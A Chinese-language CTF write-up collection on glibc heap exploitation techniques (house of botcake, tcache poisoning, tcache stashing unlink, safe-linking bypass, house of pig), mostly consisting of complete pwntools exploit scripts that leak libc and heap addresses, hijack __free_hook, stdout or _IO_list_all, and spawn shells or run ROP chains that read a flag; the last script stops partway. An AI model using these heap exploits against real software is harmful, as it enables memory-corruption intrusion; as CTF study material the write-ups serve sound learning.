Pwn中堆的常见利用手法及其题目分析
HGAME 2023 week2 new_fast_note
house of botcake
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/vuln"
libc=ELF("/home/zp9080/PWN/libc-2.31.so")
elf=ELF(file)
sh=process(file)
# sh=gdb.debug(file,'b *$rebase(0x1407 )')
def add(idx,size,content):
sh.sendlineafter('>',str(1))
sh.sendlineafter('Index: ',str(idx))
sh.sendlineafter('Size: ',str(size))
sh.sendafter('Content: ',content)
def delete(idx):
sh.sendlineafter('>',str(2))
sh.sendlineafter('Index: ',str(idx))
def show(idx):
sh.sendlineafter('>',str(3))
sh.sendlineafter('Index: ',str(idx))
for i in range(7):
add(i,0x80,'a')
add(7,0x80,'a')
add(8,0x80,'a')
#防止与top chunk合并分配的9
add(9,0x20,'b')
#填满tcache
for i in range(7):
delete(i)
#让8进入unsorted bin
delete(8)
#通过unsorted bin泄露libc
show(8)
main_arena_offset = libc.sym["__malloc_hook"] + 0x10
libcbase=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-main_arena_offset-96
__free_hook=libcbase+libc.sym["__free_hook"]
system_addr=libcbase+libc.sym["system"]
print('libcbase:',hex(libcbase))
#删除7,unlink8,合并后进入unsorted bin中,此时8从tcache中取出
delete(7)
#给8腾出一个tcache位置,因此分配10
add(10,0x80,'a')
#8同时在 tcahcebin unsortedbin中(因为前面的unlink,8从tcache中取出,不会触发double free检测,虽然也是一种double free)
delete(8)
payload=b'a'*0x80+p64(0)+p64(0x91)+p64(__free_hook)
#因为8是unsorted bin的一部分,将8的next域写为free_hook,这样就改变了tcache中的链
add(11,0xa0,payload)
#再次分配8,写入/bin/sh
add(12,0x80,'/bin/sh\x00')
#再次分配会分配free_hook,向free_hook写入system
add(13,0x80,p64(system_addr))
#相当于执行system("/bin/sh"),free(12),12是/bin/sh的地址
delete(12)
sh.interactive()
ciscn2022 blue
uaf,show的次数只有一次,要打stdout泄露stack_addr。禁用了execve,向返回地址写入orw
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/pwn"
libc=ELF("/home/zp9080/PWN/libc.so.6")
elf=ELF(file)
sh=process(file)
# sh=gdb.debug(file,'b *$rebase(0x193F )')
# sh=remote('node4.anna.nssctf.cn',28009)
def add(size,content):
sh.sendlineafter('Choice: ',str(1))
sh.sendlineafter('Please input size: ',str(size))
sh.sendafter('Please input content: ',content)
def delete(index):
sh.sendlineafter('Choice: ',str(2))
sh.sendlineafter('Please input idx: ',str(index))
def show(index):
sh.sendlineafter('Choice: ',str(3))
sh.sendlineafter('Please input idx: ',str(index))
def UAF(index):
sh.sendlineafter('Choice: ',str(666))
sh.sendlineafter('Please input idx: ',str(index))
for i in range(7):
add(0x80,'aaaa')
add(0x80,'aaaa')#7
add(0x80,'aaaa')#8
add(0x80,'aaaa')#9
add(0x10,'aaaa')#10
for i in range(7):
delete(i)
UAF(8)
show(8)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
print("libc_base ",hex(libc_base))
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
print('environ ',environ)
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
puts_addr = libc_base + libc.sym['puts']
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
delete(7)
add(0x80,'aaaa') #0
delete(8)
add(0x70,'aaaa') #1
add(0x90,p64(0)+p64(0x91)+p64(stdout)) #2
add(0x80,'aaaa') #3
#利用stdout泄露出stack_addr
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)) #4
stack_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x128
print('stack_addr ',hex(stack_addr))
#要先delete(2)再delete(3),因为如果先delete(3)的话,写入key的时候同时覆盖了2的size域,再free相当于free一个超级大的chunk
delete(3)
delete(2)
add(0x90,p64(0)+p64(0x91)+p64(stack_addr))
add(0x80,'aaaa')
flag_addr = stack_addr
ppp=stack_addr+0x200
#这里的stack刚好是rbp指向的位置
pl=b'./flag\x00\x00'
pl+=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
pl+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(ppp)+p64(pop_rdx_ret)+p64(0x50)+p64(read_addr)
pl+=p64(pop_rdi_ret)+p64(ppp)+p64(puts_addr)
add(0x80, pl)
sh.interactive()
tonote
libc2.27
- 这个题限制了add可以申请堆块的数量,只有2个,同时申请的chunk都是fastbin大小。
- 一般都是通过unsortedbin来泄露libc,这个题也不例外,因此肯定有一步是进行fastbin chunk的合并让它进入unsortedbin。
- 但是有fastbin chunk的前提是tcache先被填满,受限于申请堆块的数量,这个题需要对tcache_perthread_struct的counts进行修改,达到填满tcache的目的,所以得出也要泄露出heapbase
- 题目申请的chunk都是fastbin大小,如何调用malloc consolidate呢?这里用的是使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存
- 基于以上分析基本要做的就比较明了了,最后打个free_hook就行
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context.arch='amd64'
context.log_level='debug'
file="/home/zp9080/PWN/tonote"
# p=process(file)
p=gdb.debug(file,'b *$rebase(0x93D)')
e=ELF(file)
libc=ELF('/home/zp9080/PWN/libc-2.27.so')
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda s:gdb.attach(p,'b*'+str(s))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s" %(i[0]+":",hex(i[1])))
def cmd(idx):
ru('Your choice: ')
sl(str(idx))
def add(idx,size):
cmd(1)
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
def edit(idx,content):
cmd(2)
ru('Index: ')
sl(str(idx))
ru('Content: ')
s(content)
def show(idx):
cmd(3)
ru('Index: ')
sl(str(idx))
def free(idx):
cmd(4)
ru('Index: ')
sl(str(idx))
def createlarge(content):
ru('Your choice: ')
sl(content)
add(0,0)
add(1,0)
free(0)
free(1)
#tcache中1的next指向0,show出0的地址,得到heapbase
show(1)
ru('Content: ')
heapbase=uu64(r(6))-(0x55b3f1466260-0x55b3f1466000)
LOGTOOL['heapbase']=heapbase
tcache_count=heapbase+0x10
tcache_struct=heapbase+0x10
#getback these chunk
add(0,0)
add(1,0)
free(0)
add(1,0x10) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, allocated
free(0) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, freed
edit(1,p64(tcache_count)+p64(0)) #p64(0): allow double free to get idx 1 later,躲避key的影响
#上面一部edit之后,tcache:1->tcache_count
#add只要sizelist的值为0就可以add
add(0,0)
add(0,0x8)
#都改成7相当于把tcache填满
#2.27conuts还是一个字节
#chunk大小为0x20-0x90的counts都满了
edit(0,p64(0x0707070707070707))
#填满tcache,启动其他的bin
#fastbin多了一个0x20大小的chunk
free(1)
#chunk大小为0x80的,在bins中找不到,割top chunk
add(1,0x70)
#chunk大小为0x80的也进入fastbin
free(1)
#chunk大小为0x40的,在bins中找不到,割top chunk
add(1,0x30) #idx 1 used for avoid consolidate into topchunk
#使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存,所以上面两个free chunk都进入了small bin
createlarge(0x400*'1')
#仅仅是为了让sizelist为0,两个free的目的是相同的,并且都没有double free,刚好实现了目的
free(0) #idx 0 is freed ,but tcache_prethread_struct is in tcache......
free(1)
#这个add是从unsorted bin中进行的分割,说明调用了什么让small bin中的chunk进入了unsorted bin
add(1,0x70)
show(1)
#直接用vmmap看就行,main_arena是在libc段
libcbase=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-(0x7fdc76620d30-0x7fdc76235000)
LOGTOOL['libcbase']=libcbase
free_hook=libcbase+libc.symbols['__free_hook']
LOGTOOL['free_hook']=free_hook
system_addr=libcbase+libc.symbols['system']
LOGTOOL['system_addr']=system_addr
#上面一堆操作的目的就是泄露heapbase和libcbase,chunk的结构已经很乱了,但是我们不需要把heap的每个chunk想的清楚清除
#我们下面的目的就是往free_hook写入sys就可以了,然后利用的是0x20的tcache
#将sizelist[0]=sizelist[1]=0,至于前面它是上面样太乱了不管了,不管原先是0还是别的,都置0
add(0,0)
free(1)
#这几步只是为了让tcache不那么满,我自己省去两步一样可以得到结果
# add(0,0)
add(1,0)
# add(0,0)
# add(1,0)
free(0)
add(1,0x10) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, allocated
free(0) #heaplist[0] == heaplist[1] ,sizelist[0] == 0, sizelist[1] == 0x10, freed
edit(1,p64(free_hook)+p64(0))
#上面一个edit之后,tcache 0x20:0->free_hook
add(0,0)
add(0,0x8)
edit(0,p64(system_addr))
edit(1,b'/bin/sh\x00'+p64(0))
free(1)
LOGALL()
it()
BUUCTF hitcon_ctf_2019_one_punch
libc2.29
- 这个题是笔者学习tcache stashing unlink attack时候做的一道题,这个题特别的地方在于用calloc函数分配堆,而calloc函数是分配的时候是不考虑tcache的,而题中的punch函数进行的是malloc分配,但是有个约束条件if ( (char )(countsbase + 0x20) > 6 ),因此可以很自然的联想到我们要修改对应的tcache perthread struct结构中的counts满足这个条件,而tcache stashing unlink attack就可以实现向任意地址写入一个很大的数,这也由此得出这道题的解法
- 还是常规的泄露heapbase和libcbase
- 相对应大小的tcache bin为6个,smallbin为2个,将bk修改为heapbase+0x30-0x10-5(其实这里减其他合理的数也可以,只不过-5刚好让countsbase + 0x20==0x7f),这就满足了这个条件
- 最后可以malloc就打tcache poison就行了
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
# p=gdb.debug('/home/zp9080/PWN/pwn','b *$rebase(0x139C)')
p = process('/home/zp9080/PWN/pwn')
libc = ELF('/home/zp9080/PWN/libc-2.29.so')
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rc = lambda num : p.recv(num)
rc_all = lambda : p.recv()
rcu = lambda data : p.recvuntil(data)
lg = lambda name,data : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))
def tb(x): #将输入内容转换为python3的比特流格式
return(bytes(str(x),encoding='utf8'))
def malloc(index,hero_name):
rcu("> ")
sdl(b"1")
rcu("idx: ")
sdl(tb(index))
rcu("hero name: ")
sdl(hero_name)
def edit(index,hero_name):
rcu("> ")
sdl(b"2")
rcu("idx: ")
sdl(tb(index))
rcu("hero name: ")
sdl(hero_name)
def free(index):
rcu("> ")
sdl(b"4")
rcu("idx: ")
sdl(tb(index))
def show(index):
rcu("> ")
sdl(b"3")
rcu("idx: ")
sdl(tb(index))
def magic(payload):
rcu("> ")
sdl(b"50056")
sleep(0.1)
sdl(payload)
#leak heap
for i in range(7):
malloc(0,b'a'*0x120)
free(0)
show(0)
rcu("hero name: ")
heap = u64(rc(6).ljust(8,b"\x00"))
# lg("heap",heap)
heap_base = heap & 0xFFFFFFFFFFFFF000
lg("heap_base",heap_base)
# leak libc
malloc(0,b'a'*0x120)
malloc(1,b'a'*0x400) # top
free(0)
# db()
show(0)
rcu("hero name: ")
unsortedbin_addr = get_addr_64()
main_arena_addr = unsortedbin_addr - 96
libc_base = main_arena_addr - 0x1e4c40
# lg("unsortedbin_addr",unsortedbin_addr)
# lg("main_arena_addr",main_arena_addr)
lg("libc_base",libc_base)
#-------------------------------
for i in range(6):
malloc(0,b"a"*0xf0)
free(0)
for i in range(7):
malloc(0,b"a"*0x400)
free(0)
# tcache stashing unlink attack
# tcache 0x100:6 smallbin 0x100:2
malloc(0,b"a"*0x400)
malloc(1,b"a"*0x400)# 防止相邻的两个chunk合并
malloc(1,b"a"*0x400)
malloc(2,b"a"*0x400)# top
free(0)
malloc(2,b"a"*0x300)
# pause()
malloc(2,b"a"*0x300) # smallbin 0x100
# db()
# again
free(1)
malloc(2,b"a"*0x300)
malloc(2,b"a"*0x300) # smallbin 0x100 -> 0x100
# db()
#-------------------------------
lg("fd",heap_base+(0x561377cbb460-0x561377cb8000))
# db()
edit(2,b'./flag'.ljust(8,b'\x00')) # rop_heap
#1对应的是原本大小为0x410的chunk,对应smallbin->fd 这个值是smallbin的last chunk与heapbase的差值 这个值对应的是bk,
edit(1,b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x561377cbb460-0x561377cb8000))+p64(heap_base+0x30-0x10-5))
malloc(0,b"a"*0x217)
free(0)
# db()
#0x220 tcache的结构 0->malloc_hook
edit(0,p64(libc_base+libc.symbols["__malloc_hook"]))
# db()
#
malloc(0,b"a"*0xf0) # heap+0x30 = 0x7f
# db()
magic(b"a")
# gadget(mov eax, esi ; add rsp, 0x48 ; ret)
#看后面的解释
magic_gadget = libc_base+0x000000000008cfd6
payload = p64(magic_gadget)
magic(payload) # __malloc_hook --> gadget(mov eax, esi ; add rsp, 0x48 ; ret)
p_rdi = libc_base + 0x0000000000026542
p_rsi = libc_base + 0x0000000000026f9e
p_rdx = libc_base + 0x000000000012bda6
p_rax = libc_base + 0x0000000000047cf8
syscall = libc_base + 0x00000000000cf6c5
#这里相对偏移是不变的,要自己dbg算出来
rop_heap = heap_base + 0x44b0 # './flag'
# bad syscall
'''
0x7fbacee16cae <open64+46> je open64+120 <open64+120>
0x7fbacee16cb0 <open64+48> lea rax, [rip + 0xdd719]
0x7fbacee16cb7 <open64+55> mov eax, dword ptr [rax]
0x7fbacee16cb9 <open64+57> test eax, eax
0x7fbacee16cbb <open64+59> jne open64+166 <open64+166>
► 0x7fbacee16cbd <open64+61> mov edx, esi
0x7fbacee16cbf <open64+63> mov eax, 0x101
0x7fbacee16cc4 <open64+68> mov rsi, rdi
0x7fbacee16cc7 <open64+71> mov edi, 0xffffff9c
0x7fbacee16ccc <open64+76> syscall
这是gdb跟进发现open64执行的时候的也要执行0x101系统调用号
257 openat man/ cs/ 0x101 int dfd const char *filename int flags umode_t mode
'''
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
这个题是只让用这几个系统调用,所以想直接执行open64函数是不行的,因为途中会用0x101系统调用导致syscall
'''
# rops = p64(p_rdi)+p64(rop_heap) + p64(p_rsi)+p64(0)
# rops += p64(libc.sym['open']+libc_base)
# rops += p64(p_rdi)+p64(3)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['read']+libc_base)
# rops += p64(p_rdi)+p64(1)+p64(p_rsi)+p64(heap_base+0x260)+p64(p_rdx)+p64(0x70)
# rops += p64(libc.sym['write']+libc_base)
rops = p64(p_rdi)+p64(rop_heap)
rops += p64(p_rsi)+p64(0)
rops += p64(p_rdx)+p64(0)
rops += p64(p_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(p_rdi)+p64(3)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(p_rdi)+p64(1)
rops += p64(p_rsi)+p64(heap_base+0x260)
rops += p64(p_rdx)+p64(0x70)
rops += p64(p_rax)+p64(1)
rops += p64(syscall)
#要注意一开始是通过s读取content的,所以用一个add rsp,0x48;ret来执行栈上的rop(注意rsp在calloc函数里面是变了的
malloc(0,rops)
it()
NCTF2021 ezheap
学习decrypt safe unlink做的一道题,其实和libc2.31的打法很类似,就是libc2.32多加了一个加密的东西,稍作修改即可
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/ezheap"
libc=ELF("/home/zp9080/PWN/libc-2.32.so")
elf=ELF(file)
p=process(file)
# p=gdb.debug(file,'b *$rebase(0x1707)')
def add(size,content):
p.sendlineafter(">> ",str(1))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",content)
def edit(index,content):
p.sendlineafter(">> ",str(2))
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendlineafter(">> ",str(4))
p.sendlineafter("Index: ",str(index))
def delete(index):
p.sendlineafter(">> ",str(3))
p.sendlineafter("Index: ",str(index))
add(0x60,'a'*0x10)#0
add(0x60,'b'*0x10)#1
delete(0)
show(0)#leak heapbase
heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
print('heapbase',hex(heap_base))
add(0x60,'b')#2
delete(1)
#tcache 0x70 : 0=2->1
delete(0)
#add(0x80)是为了避免进入fastbin
for i in range(3,11):
add(0x80,'s')
add(0x10,'prevent chunk')
for i in range(3,11):
delete(i)
show(10)#leak libc
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1e3c00
print('libcbase',hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
sys_addr=libc_base+libc.symbols['system']
value=((heap_base+0x2a0)>>12)^free_hook
edit(2,p64(value))
add(0x60,'/bin/sh\x00')
add(0x60,p64(sys_addr))
delete(12)
p.interactive()
VNCTF2021 ff
libc2.32
- 这个题是笔者学习decrypt safe unlink时做的一道题,这个题可以edit两次,show一次。show一次只能泄露heapbase,显然要打stdout。而在2.32版本不像2.31打个tcache poison就可以申请到任意地址。
- 因此这个题劫持了tcache_perthread_struct结构,通过这个题也可以更好地理解如何进行堆布局(非常建议自己画个图看看tcache_perthread_struct被如何修改)
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/ff"
libc=ELF("/home/zp9080/PWN/libc-2.32.so")
elf=ELF(file)
global p
def dbg():
gdb.attach(p,'b *$rebase(0xE5E)')
def add(size,content):
p.sendlineafter(">>",str(1))
p.sendlineafter("Size:\n",str(size))
p.sendafter("Content:\n",content)
def delete():
p.sendlineafter(">>",str(2))
def show():
p.sendlineafter(">>",str(3))
def edit(content):
p.sendlineafter(">>",str(5))
p.sendafter("Content:\n",content)
def exp():
add(0x70,'a')
delete()
show()
heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
print('heapbase:',hex(heap_base))
#覆盖key进行double free
edit('b'*0x10)
delete()
#tcache poison得到tcache_perthread_struct结构的counts
edit(p64(((heap_base+0x2a0)>>12)^(heap_base+0x10)))
add(0x70,'a')
#chunk大小为0x290的tcache被填满
add(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
#tcache_perthread_struct结构进入unsorted bin
delete()
#chunk大小为0x50,0x80的tcache为1
add(0x40,'\x00\x00'*3+'\x01\x00'*1+'\x00\x00'*2+'\x01\x00')
add(0x30,b'\x00'*0x30)
#add后0x50 tcache:IO_2_1_stdout
add(0x10,'\x00'*8+'\xc0\x16')
#申请IO_2_1_stdout,这个是从tcache里面取的,unsorted bin没动
add(0x40,p64(0xfbad1887)+p64(0)*3+b'\x00')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e4744
print('libcbase',hex(libc_base))
#add后0x80 tcache:__free_hook
add(0x10,p64(libc_base+libc.symbols['__free_hook']))
#申请__free_hook,这个是从tcache里面取的,unsorted bin没动
add(0x70,p64(libc_base+libc.symbols['system']))
add(0x10,'/bin/sh\x00')
delete()
p.interactive()
while True:
try:
p=process(file)
exp()
break
except:
p.close()
continue
house of pig
参考文章
libc2.31
主要是利用了largebin attack,tcache stashing unlink attack,伪造FILE结构等手法
-
题目分析:
- 这个题是个C++代码,对于笔者分析还是有不小难度,但是对于逆向来说,我们不要在乎那么多细节,抓住核心利用点,这才是关键。
- 这个题用栈来存储chunk的相关数据,与之前总是用全局变量来存储有所不同,所以一开始看的我很晕,而且ida反汇编C++的东西又不好看,导致很多时间在纠结一些细节,但不要忘记堆就几个关键,chunklist,sizelist,marklist,这个题也不例外,抓住这点就够了
- 这个题在change role时候把原本的chunk相关数据copy到mmap_addr,但是没有copy完全,这就是漏洞利用点。可以很明显看到edit,show都是只看mark1,不看mark2,但是copy没有拷贝mark1中的数据,那么再次切换回来就会让mark1=0(因为mmap中的数据本身就是0),这就有了uaf
- peppa(A) 0-19 calloc(0x90-0x430)
mummy(B) 0-9 calloc(0x90-0x450)
daddy(C) 0-4 calloc(0x90-0x440) if(add&&i==4) 再malloc(0xe8) - 这个题还有个点要注意,平时read都是可以控制整个mem区域,但这个题又做了一个限制。把控制的mem以每0x30为一块,A只可写每块的0-0x10,B只可写每块的0x10-0x20,C只可写每块的0x20-0x30。虽然做了限制,但是也给人启发,A相当于控制fd,bk;B相当于控制fd_nextsize,bk_nextsize
-
攻击流程
- 为tcache stashing unlink attack做准备,tcache中5个,smallbin中2个,大小都为0xa0
- 利用largebin泄露libcbase,heapbase。泄露libcbase就是把largebin chunk free后进入unsorted bin,uaf很容易泄露libcbase。泄露heapbase就是再calloc一个比它还大的chunk让它进入largebin,覆盖它的fd,bk,show就是它的fd_nextsize,dbg一看一做差就可以了
- largebin attack向free_hook-0x8处写入一个堆地址,这是为了绕过tcache stashing unlink attack的检查。具体做法是先让一个size大的chunk进入largebin,edit它的bk_nextsize为free_hook-0x28,再让一个size比它小的chunk先进入unsorted bin再链入largebin即可
- 再一次largebin attack向_IO_list_all写入一个堆地址,要记住这个堆地址,因为我们还要将它申请出来伪造FILE结构,方法同上
- tcache stashing unlink attack将free_hook-0x10链入0xa0的chunk大小的tcache中。让修改smallbin的第一个chunk的bk指针修改为free_hook-0x10-0x10,触发tcache stashing unlink attack。注意这里的细节,free_hook-0x8(也就是target+0x8)在之前被修改为了一个堆地址,所以可写,不会引发异常
- 在触发tcache stashing unlink attack时,add的时候i要刚好为4,此时刚好malloc(0xe8)。在此题中_IO_list_all写入一个堆地址是一个FAKE FILE,但是它的编写受限制,因此将其的*chain指向一个堆地址,再malloc(0xe8)刚好将这个堆地址申请出来,这里才是我们存放_IO_str_overflow的vtable的FAKE FILE!!!
- 在change_role中输入空字符触发len检查调用exit函数,进而执行_IO_str_overflow函数
- exit函数会执行_IO_flush_all_lockp函数来遍历 FILE结构体,而其中就有_IO_str_overflow函数,因此要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)才能让那个if语句执行到_IO_str_overflow
- 在_IO_str_overflow函数中malloc,memcpy,free三连(具体细节看源码)old_blen = _IO_blen (fp);new_size = 2 * old_blen + 0x64; malloc (new_size);注意这个malloc正是想要malloc出0xa0 chunk大小的tcache头部存的free_hook-0x10,因此IO_buf_end,IO_buf_base,要精心设计。memcpy (new_buf, old_buf, old_blen);free (old_buf);因此IO_buf_base要刚好是FAKE FILE中/bin/sh\x00的地址(是个堆地址)
- 在写wp的途中要注意修改smallbin的bk指针,largebin中的bk_nextsize指针时如果破坏了要注意修复,同时还要注意各个bin当前的状态不要和预期的状态不一样
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/pig"
elf=ELF(file)
libc =elf.libc
io = process(file)
def dbg():
gdb.attach(io,'b *$rebase(0xD80)')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def dbg():
gdb.attach(io, 'b *$rebase(0x3761)')
def Menu(cmd):
sla('Choice: ', str(cmd))
def Add(size, content):
Menu(1)
sla('size: ', str(size))
sla('message: ', content)
def Show(idx):
Menu(2)
sla('index: ', str(idx))
def Edit(idx, content):
Menu(3)
sla('index: ', str(idx))
sa('message: ', content)
def Del(idx):
Menu(4)
sla('index: ', str(idx))
def Change(user):
Menu(5)
if user == 1:
sla('user:\n', 'A\x01\x95\xc9\x1c')
elif user == 2:
sla('user:\n', 'B\x01\x87\xc3\x19')
elif user == 3:
sla('user:\n', 'C\x01\xf7\x3c\x32')
#----- prepare tcache_stashing_unlink_attack
#calloc申请5个0xa0堆块,并放入 tcache
Change(2)
for x in range(5):
Add(0x90, 'B'*0x28) # B0~B4
Del(x) #B0~B4
#role1 calloc(0x150),用于切割出0xa0的small bin chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
#填充0x160 tcache,使得 A0进入 unsortedbin
for x in range(7):
Add(0x150, 'A'*0x68) # A1~A7
Del(1+x)
#A0放入 unsortedbin
Del(0)
#切割 A0,剩余0xa0放入smallbin
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
#同样道理 利用0x190切割 0xa0放入 smallbin
Change(1)
Add(0x180, 'A'*0x78) # A8
for x in range(7):
Add(0x180, 'A'*0x78) # A9~A15
Del(9+x)
Del(8)
Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#----- leak libc_base and heap_base
#role1 calloc(0x430),用于放入largbin,泄漏地址
Change(1)
Add(0x430, 'A'*0x158) # A16
#间隔top chunk
Change(2)
Add(0xf0, 'B'*0x48) # B7
#释放A16进入unsorted bin
Change(1)
Del(16)
#使 A16 进入 largebin
Change(2)
Add(0x440, 'B'*0x158) # B8
#利用 UAF先泄漏 libc地址
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
#利用UAF泄漏heapbase地址
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
print("---> 1 largbin attack to change __free_hook-8")
#----- first largebin_attack
# recover,fd,bk不对的话在largebin中找不到
Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n')
#A17直接largebin中得到(A16)
Add(0x430, 'A'*0x158) # A17
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
Change(2)
#释放 0x450堆块 chunk8
Del(8)
#使得 chunk8 进入 largebin
Add(0x450, 'B'*0x168) # B9
#释放0x440堆块进入 unsortedbin,其size 小于 chunk8
Change(1)
Del(17)
#修改chunk8->bk_nextsize = free_hook-0x28
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n')
#触发largebin attack
Change(3)
#注意B8的大小是0x450,这里不能add(0x440)
#只要触发了unsortedbin循环就可以,unsorted bin中的large chunk会先被放入largebin再拿出来切割
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#修复chunk8
Change(2)
# recover B8的fd-nextsize,bk-nextsize指向自己
#此时largebin中只有B8,配合下一次largebin attack
Edit(8, 2*p64(heap_base+0x13e80) + b'\n')
print("---> 2 largebin attack to change _IO_list_all")
#----- second largebin_attack
#将unsortedbin 清空
Change(3)
Add(0x380, 'C'*0x118) # C1
#释放A19 0x440到unsortedbin中
Change(1)
Del(19)
#修改chunk8->bk_nextsize = io_list_all-0x20
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n')
#触发largebin attack
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#修复largebin
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover
